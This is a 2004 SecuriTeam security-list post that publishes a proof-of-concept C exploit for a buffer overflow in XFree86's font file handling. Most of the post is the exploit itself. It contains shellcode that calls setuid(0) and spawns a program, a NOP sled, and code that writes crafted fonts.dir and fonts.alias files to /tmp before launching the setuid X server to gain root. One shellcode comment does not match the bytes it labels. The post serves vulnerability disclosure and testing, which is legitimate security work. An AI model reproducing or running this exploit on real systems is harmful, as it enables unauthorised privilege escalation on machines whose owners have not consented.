[EXPL] XFree86 Font File Information Buffer Overflow Exploit

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To: list@securiteam.com
Date: 16 Feb 2004 11:52:04 +0200

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  XFree86 Font File Information Buffer Overflow Exploit
------------------------------------------------------------------------

SUMMARY

As was reported in a previous article name <XFree86 Font File Information
Buffer Overflow> XFree86 Font File Information Buffer Overflow, a buffer
overflow vulnerability has been found in XFree86. Provided here is a
proof-of-concept exploit code that can help test if your system is
vulnerable.

DETAILS

Vulnerable Systems:
 * XFree86 versions 4.1.0 to 4.3.0 (possibly prior versions as well)

Exploit:
/* For educational purposes only */
/* Brought to you by bender2@lonestar.org 11.10.2004 */

#include < fcntl.h>

#define NOPNUM 8000
#define ADRNUM 1058

/* shellcode from LSD */
char setuidcode[]= /* 8 bytes */
    "\x33\xc0" /* xorl %eax,%eax */
    "\x31\xdb" /* xorl %ebx,%ebx */
    "\xb0\x17" /* movb $0x17,%al */
    "\xcd\x80" /* int $0x80 */
;

char shellcode[]= /* 24 bytes */
    "\x31\xc0" /* xorl %eax,%eax */
    "\x50" /* pushl %eax */
    "\x68""//id" /* pushl $0x68732f2f */
    "\x68""/tmp" /* pushl $0x6e69622f */
    "\x89\xe3" /* movl %esp,%ebx */
    "\x50" /* pushl %eax */
    "\x53" /* pushl %ebx */
    "\x89\xe1" /* movl %esp,%ecx */
    "\x99" /* cdql */
    "\xb0\x0b" /* movb $0x0b,%al */
    "\xcd\x80" /* int $0x80 */
;

char jump[]=
    "\x8b\xc4" /* movl %esp,%eax */
    "\xc3" /* ret */
;

main(int argc,char **argv){
    char buffer[20000],adr[4],pch[4],*b,*envp[4];
    int i,fd;

    *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+16000;

    envp[0]=&buffer[2000];
    envp[1]=0;

    printf("adr: 0x%x\n",adr+12000);

    b=buffer;
    strcpy(buffer,"1\n");
    strcat(buffer,"aaaa.pcf
-aaaa-fixed-small-a-semicondensed--1-1-1-1-a-1-iso1111-1\n");
    fd=open("/tmp/fonts.dir",O_CREAT|O_WRONLY,0666);
    write(fd,buffer,strlen(buffer));

    for(i=0;i< ADRNUM;i++) *b++=adr[i%4];
    *b++='\n';

    fd=open("/tmp/fonts.alias",O_CREAT|O_WRONLY,0666);
    write(fd,buffer,strlen(buffer));
    close(fd);

    b=&buffer[2000];
    
for(i=0;i<
NOPNUM-strlen(setuidcode)-strlen(setuidcode)-strlen(shellcode);i++)
*b++=0x90;
    for(i=0;i< strlen(setuidcode);i++) *b++=setuidcode[i];
    for(i=0;i< strlen(shellcode);i++) *b++=shellcode[i];
    *b=0;

    execle("/usr/bin/X11/X","X",":0","-fp","/tmp",0,envp);
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:bender2@lonestar.org>
bender2.

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